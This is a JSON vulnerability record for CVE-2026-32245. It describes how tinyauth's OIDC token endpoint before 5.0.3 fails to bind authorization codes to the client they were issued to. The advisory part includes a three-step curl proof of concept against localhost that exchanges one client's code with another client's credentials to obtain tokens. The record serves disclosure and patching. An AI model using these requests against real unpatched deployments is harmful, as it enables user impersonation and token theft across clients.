{"id":"CVE-2026-32245","aliases":["CVE-2026-32245","GHSA-xg2q-62g2-cvcm","GO-2026-4689"],"related":[],"kind":"vulnerability","state":"published","title":"Tinyauth's OIDC authorization codes are not bound to client on token exchange","summary":"Tinyauth is an authentication and authorization server. Prior to 5.0.3, the OIDC token endpoint does not verify that the client exchanging an authorization code is the same client the code was issued to. A malicious OIDC client operator can exchange another client's authorization code using their own client credentials, obtaining tokens for users who never authorized their application. This violates RFC 6749 Section 4.1.3. This vulnerability is fixed in 5.0.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Tinyauth is an authentication and authorization server. Prior to 5.0.3, the OIDC token endpoint does not verify that the client exchanging an authorization code is the same client the code was issued to. A malicious OIDC client operator can exchange another client's authorization code using their own client credentials, obtaining tokens for users who never authorized their application. This violates RFC 6749 Section 4.1.3. This vulnerability is fixed in 5.0.3.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe OIDC token endpoint does not verify that the client exchanging an authorization code is the same client the code was issued to. A malicious OIDC client operator can exchange another client's authorization code using their own client credentials, obtaining tokens for users who never authorized their application. This violates RFC 6749 Section 4.1.3.\n\n### Details\n\nWhen an authorization code is created, `StoreCode` at `internal/service/oidc_service.go:305-322` correctly stores the `ClientID` alongside the code hash in the database (line 316).\n\nDuring token exchange at `internal/controller/oidc_controller.go:267-309`, the handler retrieves the code entry at line 268 and validates the `redirect_uri` at line 291, but never compares `entry.ClientID` against the requesting client's ID (`creds.ClientID`). The code proceeds directly to `GenerateAccessToken` at line 299.\n\nThe developers clearly intended this check to exist, the refresh token flow at `internal/service/oidc_service.go:508-510` has the exact guard: `if entry.ClientID != reqClientId { return TokenResponse{}, ErrInvalidClient }`. It was simply omitted from the authorization code grant.\n\nThe `entry.ClientID` field is stored in the database but never read during authorization code exchange.\n\n### PoC\n\nPrerequisites: a tinyauth instance with two OIDC clients configured (Client A and Client B). Both clients must have at least one overlapping redirect URI, or the attacker must be able to intercept the authorization code from Client A's redirect (via referrer leak, browser history, log access, etc.).\n\nStep 1 — Log in as a normal user:\n\n```\ncurl -c cookies.txt -X POST http://localhost:3000/api/user/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"admin\",\"password\":\"admin123\"}'\n```\n\nStep 2 — Authorize with Client A:\n\n```\ncurl -b cookies.txt -X POST http://localhost:3000/api/oidc/authorize \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"client_id\":\"client-a-id\",\"redirect_uri\":\"http://localhost:8080/callback\",\"response_type\":\"code\",\"scope\":\"openid\",\"state\":\"test\"}'\n```\n\nExtract the `code` parameter from the `redirect_uri` in the response.\n\nStep 3 — Exchange Client A's code using Client B's credentials:\n\n```\ncurl -X POST http://localhost:3000/api/oidc/token \\\n  -u \"client-b-id:client-b-secret\" \\\n  -d \"grant_type=authorization_code&code=<CODE_FROM_STEP_2>&redirect_uri=http://localhost:8080/callback\"\n```\n\nThe server returns a valid `access_token`, `id_token`, and `refresh_token`. Client B has obtained tokens for a user who only authorized Client A.\n\n### Impact\n\nA malicious OIDC relying party operator who can intercept or observe an authorization code issued to a different client can exchange it for tokens under their own client identity. This enables user impersonation across OIDC clients on the same tinyauth instance. The attack requires a multi-client deployment and a way to obtain the victim client's authorization code (which is passed as a URL query parameter and can leak through referrer headers, browser history, or server logs). Single-client deployments are not affected.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Tinyauth's OIDC authorization codes are not bound to client on token exchange in github.com/steveiliop56/tinyauth.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/steveiliop56/tinyauth before v1.0.1-20260311144920-9eb2d33064b7.","format":"markdown","source":"go"},{"lang":"es","text":"Tinyauth es un servidor de autenticación y autorización. Anterior a la 5.0.3, el endpoint de token OIDC no verifica que el cliente que intercambia un código de autorización sea el mismo cliente al que se le emitió el código. Un operador de cliente OIDC malicioso puede intercambiar el código de autorización de otro cliente usando sus propias credenciales de cliente, obteniendo tokens para usuarios que nunca autorizaron su aplicación. Esto viola la Sección 4.1.3 del RFC 6749. Esta vulnerabilidad se corrige en la 5.0.3.","source":"nvd"}],"published":"2026-03-12T16:38:42.000Z","modified":"2026-06-17T10:35:25.133Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-863"],"affected":[{"ranges":[{"version":"< 5.0.3","status":"affected"}],"vendor":"steveiliop56","product":"tinyauth","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.0.1-20260311144920-9eb2d33064b7"}],"ecosystem":"Go","package":"github.com/steveiliop56/tinyauth","purl":"pkg:golang/github.com/steveiliop56/tinyauth","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/steveiliop56/tinyauth","purl":"pkg:golang/github.com/steveiliop56/tinyauth","source":"go"},{"ranges":[{"status":"affected","lastAffected":"5.0.2"}],"vendor":"tinyauth","product":"tinyauth","cpe":"cpe:2.3:a:tinyauth:tinyauth:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/steveiliop56/tinyauth/security/advisories/GHSA-xg2q-62g2-cvcm","tags":["advisory","exploit","third-party-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/steveiliop56/tinyauth/commit/b2a1bfb1f532e87f205fa3afa3fc9f148c53ab89","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/steveiliop56/tinyauth/releases/tag/v5.0.3","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32245","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/steveiliop56/tinyauth","tags":["package"],"sources":["ghsa"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4689","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-03-12T20:43:39.971Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-32245","url":"https://www.cve.org/CVERecord?id=CVE-2026-32245","licence":"CVE Terms of Use","modified":"2026-03-12T20:46:29.581Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xg2q-62g2-cvcm","url":"https://github.com/advisories/GHSA-xg2q-62g2-cvcm","licence":"CC-BY-4.0","modified":"2026-03-24T21:17:28.371Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4689","url":"https://pkg.go.dev/vuln/GO-2026-4689","licence":"CC-BY-4.0","modified":"2026-03-23T04:52:55.595Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-32245","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32245","licence":"Public domain","modified":"2026-06-17T10:35:25.133Z"}],"updatedAt":"2026-11-25T22:59:15.848Z","epss":{"score":0.00298,"percentile":0.24146,"date":"2026-12-01T12:00:22.000Z"}}